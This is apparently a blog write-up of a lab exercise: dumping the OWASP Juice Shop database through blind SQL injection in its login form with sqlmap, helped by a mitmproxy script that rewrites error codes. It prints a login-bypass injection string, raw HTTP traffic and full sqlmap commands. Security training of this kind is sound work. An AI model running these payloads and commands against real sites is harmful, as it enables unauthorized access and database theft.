A few days ago a friend of mine challenged me to solve the OWASP Juice Shop  challenge using SQLMap (https://www.owasp.org/index.php/OWASP_Juice_Shop_Project)
In particular, he challenged me to dump the DB using the blind SQL injection in the login page specifically using sqlmap.

Now, I'm not a big fan of automating exploitation, but I took the challenge anyway (simply because I had nothing better to do)

Setup

The quickest way to run the OWASP Juice Shop is using Docker:

docker run --rm -p 3000:3000 bkimminich/juice-shop

The application will be available on http://localhost:3000.

Exploitation


Now, the presence of the SQL Injection is not a mystery, simply use admin@admin.it' or 'a'='a'; -- - as the username and you'll gain admin access, not very difficult:

Let's analyze the communication using Burp.
The request:

POST /rest/user/login HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: application/json, text/plain, */*
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost:3000/
Content-Type: application/json
Content-Length: 72
Connection: close
Cookie: io=pbpnS1STXfLlC63vAAAF; continueCode=YlaOmorVJkZlvEzqep83Nw5R7WjADYhDd2g4nyO1MxXQKbamYDP9L6BbLk8E

{"email":"admin' or 'a'='a'; -- -","password":"admin' or 'a'='a'; -- -"}

The response:

HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Type: application/json; charset=utf-8
Content-Length: 719
ETag: W/"2cf-Fv5TH0pcpf5ugUvYix+Vx26jpZE"
Date: Wed, 20 Mar 2019 20:59:03 GMT
Connection: close

{"authentication":{"token":"eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjUwMCIsImlzQWRtaW4iOnRydWUsImxhc3RMb2dpbklwIjoiMC4wLjAuMCIsInByb2ZpbGVJbWFnZSI6ImRlZmF1bHQuc3ZnIiwidG90cFNlY3JldCI6IiIsImNyZWF0ZWRBdCI6IjIwMTktMDMtMjAgMjA6MDY6NDIuNjk2ICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMTktMDMtMjAgMjA6MDY6NDIuNjk2ICswMDowMCJ9LCJpYXQiOjE1NTMxMTU1NDMsImV4cCI6MTU1MzEzMzU0M30.FY8jOKzIJ7IkSkxNFOoV-vMoYUX06A5nV0LtHRWv1BwfCsITQKV3AfFvXaX7op8I1_FuKaEa935APQmQnwa746vVKenI472gfLfuUXs_dxXG7yhnmGa1MDQkZcTWr8USTPCdSVzQDjHw98AOZVl-j8utXs-Kd_2JcomVYRTS8EA","bid":1,"umail":"admin@juice-sh.op"}}

What I did was to save the request in a text file and send it to sqlmap (after removing the SQL payload from the request):

Mmh, interesting, the execution was interrupted because sqlmap received too many 401 errors. If we analyze the communication with Burp again, we see that when we enter wrong credentials we receive a 401 error code:

HTTP/1.1 401 Unauthorized
X-Powered-By: Express
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Type: text/html; charset=utf-8
Content-Length: 26
ETag: W/"1a-ARJvVK+smzAF3QQve2mDSG+3Eus"
Date: Wed, 20 Mar 2019 20:50:38 GMT
Connection: close

Invalid email or password.

Luckily for us, sqlmap has the handy option --ignore-code=401 which we can use to ignore the error codes:

Ok,  sqlmap failed because it received too many 500 errors, well we could use the same option we used before, right? Nope the option allows you to specify only one error code to ignore.

My small crusade agains sqlmap was just begun.

I had the following options:

  • Modify the SQLmap source code
  • Use Burp to modify on the fly the response code and proxy sqlmap through Burp <- cannot be done ¯\_(ツ)_/¯ (amend, you can do it using Burp as well)
  • Use mitmproxy and build a custom proxy script to modify every response code and make everything work

I chose to follow the third option.
I installed mitmproxy using pip3:

pip3 install mitmproxy

The script I used (after some digging into the mitmproxy source code and docs) was the following:

def response(flow):
	print(flow.response.content)
	flow.response.status_code = 200

To run the proxy, I used the following command:

mitmdump -s change_code.py -p 8081 -v

The proxy was running, the next thing I did was to point sqlmap to mitmdump using the --proxy option:

sqlmap -r request.txt -p email --string="token" --technique=B --proxy http://localhost:8081

The options I used:

  • --string="token" tells sqlmap to consider the responses which contains token as true when testing for boolean based SQL injections
  • --technique=B tells sqlmp to use the blind technique
  • --proxy tells sqlmap to route the traffic through the proxy we just created

woooo so it works?

that's fine riccardo

After some crafting (and some -vvvv debugging), the sqlmap command I used to make the injection works:

sqlmap -r request.txt -p email --string="token" --technique=B --proxy http://localhost:8081 -vvvv --dbms=sqlite --ignore-code=401 --prefix "'" --suffix "; -- -" --risk 3 --tables

game over.

Takeaways

  • Web services are increasingly common, especially RESTful ones. RESTful services use HTTP error code (and verbs) with specific meanings. Expect to deal with HTTP error codes a lot in the future!
  • Even if this is not a proper real-world scenario and probably in an engagement I would have scripted the whole injection with Python, I learned a few cool tricks.
  • When something is not working, debug as much as you can, if you are dealing with HTTP Burp is your friend but you also have other options and more flexibility.